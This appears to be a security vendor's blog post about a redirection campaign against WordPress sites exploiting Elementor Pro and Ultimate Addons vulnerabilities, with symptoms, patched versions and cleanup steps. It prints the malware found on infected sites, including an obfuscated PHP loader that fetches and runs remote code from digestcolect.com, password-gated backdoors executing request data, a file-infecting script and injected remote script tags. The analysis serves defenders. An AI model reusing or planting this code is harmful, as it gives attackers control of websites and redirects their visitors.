Targeted Redirection Attacks to Digestcolect .com in WordPress Websites – Linked To Vulnerabilities in Elementor Pro

Attacks targeting vulnerabilities in WordPress themes and plugins have only aggravated in the past few months. The already ongoing attack campaign on WordPress plugins – Elementor Pro, The Ultimate Addons of Elementor & Astra Theme seem to have taken a new turn with redirection hack campaigns surfacing redirecting users to questionable websites like

• digestcolect [.] com,
• js[.]donatelloflowfirstly.ga,
• track[.]developfirstline[.]com/t.js?s=5,
• deliverynotforme[.]best,
• 0.beerockstars[.]ga/?p=me3gmnbugm5gi3bpgq3tknq&sub2=mtrolley83,
• 0.directedmyfounds[.]ga/?p=gi3tazrwga5gi3bpgizdgmq&sub2=mstimens3,
• well.linetoadsactive[.]com/m.js?n=nb5,
• 0.realhelpcompany[.]ga,
• fast.helpmart[.]ga/m[.]js?w=085,
• dock.lovegreenpencils[.]ga/m.js?n=nb5,
• cht.secondaryinformtrand[.]com/m.js?n=nb5,
• main.travelfornamewalking[.]ga/,
• irc.lovegreenpencils[.]ga/, etc.

Both Elementor and Ultimate Addons for Elementor have issued updates to patch these security issues, so please update to the following versions if not done already:

• Elementor Pro: 2.9.4
• Ultimate Addons for Elementor: 1.24.2

Related hack – We have also seen WordPress websites redirecting to track. developfirstline[.com]/t.js?s=5′ type=’text/javascript

What We Know So Far…

One common symptom shown by the affected websites is – Redirection.

That said, there are other symptoms as well that hint at the attack:

1. Gibberish files added in the website root directory
2. Unauthenticated admin users added to the WordPress admin area
3. Unknown files and folders in /wp-content/uploads/elementor/custom-icons/
4. Unknown files in website root such as wp-xmlrpc.phpwp-cl-plugin.php
5. Thousands of unknown malicious javascript & PHP files added to the file system

What Does Malicious ‘tap.digestcolect.com/r.php?id=0 spam/’ Website Redirection Code Look Like?

• The following code was found under a file named ‘hjghjerg‘:

<?php $lastRunLog = "./debugs.log";
if (file_exists($lastRunLog)) {
    $lastRun = file_get_contents($lastRunLog);
    if (time() - $lastRun >= 6400) {
         search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index");
		 search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
         file_put_contents($lastRunLog, time());
    }
} else {
		search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index");
		search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
         file_put_contents( './debugs.log', time());
}
function search_file($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
	$dir = substr($dir, 0, -3);
	if (strpos($dir, '../') !== false) {
		@search_file( $dir,"index");
		return;
	}
	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
		@search_file( $dir,"index");
		return;
	}
}

...

function search_file_js($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
	$dir = substr($dir, 0, -3);
	if (strpos($dir, '../') !== false) {
		@search_file_js( $dir,".js");
		return;
	}
	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
		@search_file_js( $dir,".js");
		return;
	}
}
foreach($files as $key => $value){
    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
    if(!is_dir($path)) {
		if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {
		make_it_js($path);
    } }else if($value != "." && $value != "..") {
        search_file_js($path, $file_to_search);
    }  
 } 
}
function make_it_js($f){
			$g = file_get_contents($f);
			if (strpos($g, 'var') !== false) {
										$g = file_get_contents($f);
if (strpos($g, 'mndfhghjf') !== false) {
} else {
$l2 = "";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'mndfhghjf') !== false) {
} 
}
			}
}
function make_it($f){
$g = file_get_contents($f);
if (strpos($g, 'trackstatisticsss') !== false) {
} else {
$l2 = "";
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'trackstatisticsss') !== false) {
} 
			}
}

• This piece of code was found inside the file header.php:

<?php $c = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99)."ode"; 
$d = chr(102).chr(105).chr(108)."e".chr(95)."get".chr(95)."con".chr(116).chr(101).chr(110).chr(116).chr(115); 
$b = $c($d(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(99).chr(115).chr(115).chr(46).chr(100).chr(105).chr(103).chr(101).chr(115).chr(116).chr(99).chr(111).chr(108).chr(101).chr(99).chr(116).chr(46).chr(99).chr(111).chr(109).chr(47).chr(109).chr(46).chr(116).chr(120).chr(116)));
$c1 = chr(104);
 @file_put_contents($c1,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).$b);@include($c1);@unlink($c1); ?><?php if(isset($_REQUEST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_REQUEST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).

..

chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);$b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1; 	$z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32); 	$z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]); 	$z3 = $b2($_REQUEST[chr(100).chr(49)]); 	@$n3($a,$z2); 	@include($a);@unlink($a); 	$a = chr(47).chr(116).chr(109).chr(112).chr(47).$a; @$n3($a,$z2); 	@include($a);@unlink($a);die();  } ?><?php if(isset($_GET[5]) && md5($_GET[5]) == "37147ec1ab66861d6e2ef8f672cb2c0b") {function _1896550334($i){$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*","");return $a[$i];}  function l__0($_0){return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];if(3404<mt_rand(443,2956))session_get_cookie_params($_COOKIE,$_0,$_POST,$_0);}$_1=l__0(_1896550334(0)) .l__0(_1896550334(1)) .l__0(_1896550334(2)) .l__0(_1896550334(3));if(!empty($_1)){$_1=str_rot13(@pack(_1896550334(4),strrev($_1)));if(isset($_1)){$_2=create_function(_1896550334(5),$_1);$_2();exit();}}else{echo base64_decode("bG9jYWwtZXJyb3Itbm90LWZvdW5k");}die();} ?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>

• This code was found in some core theme files:

<script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script><script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script>

How to Fix the Digestcolect [.] com Redirect?

If your website is redirecting or showing other symptoms of the hack, you can quicken your incident response by doing the following:

1. Start by checking favorite files that attract hackers like functions.php, wp-config.php & index.php
2. Compare the core WordPress files with the one on your server to check if hackers might have infected core files
3. Scan your website with an online malware scanner.
4. Check the database for unfamiliar admins and users
5. Check your root directory for gibberish files

You can follow our WordPress redirection removal guide for more thorough malware removal or follow this step-by-step tutorial for the same.

If the redirection still persists, it is quite possible that hackers have also injected backdoors on your website. This usually requires an in-depth malware scan with code review to clean the website.

Also check out: Step-by-Step WordPress Malware Removal Guide

Not infected? Secure Your Website

Lucky that you dodged the exploit. But don’t play on chances. It’s better to secure your website now. A premium firewall like Astra Security goes a long way in securing your website with the 24×7 monitoring and protection from attacks like JS injection, SQLi, CSRF, XSS, Bad bots, RFI, LFI, and a hundred others.

With a multitude of additional security tools such as Malware Scanner, Country Blocking, IP blocking, Astra security a cakewalk for businesses and blogs alike.

Share this...

Facebook

Pinterest

Twitter

Linkedin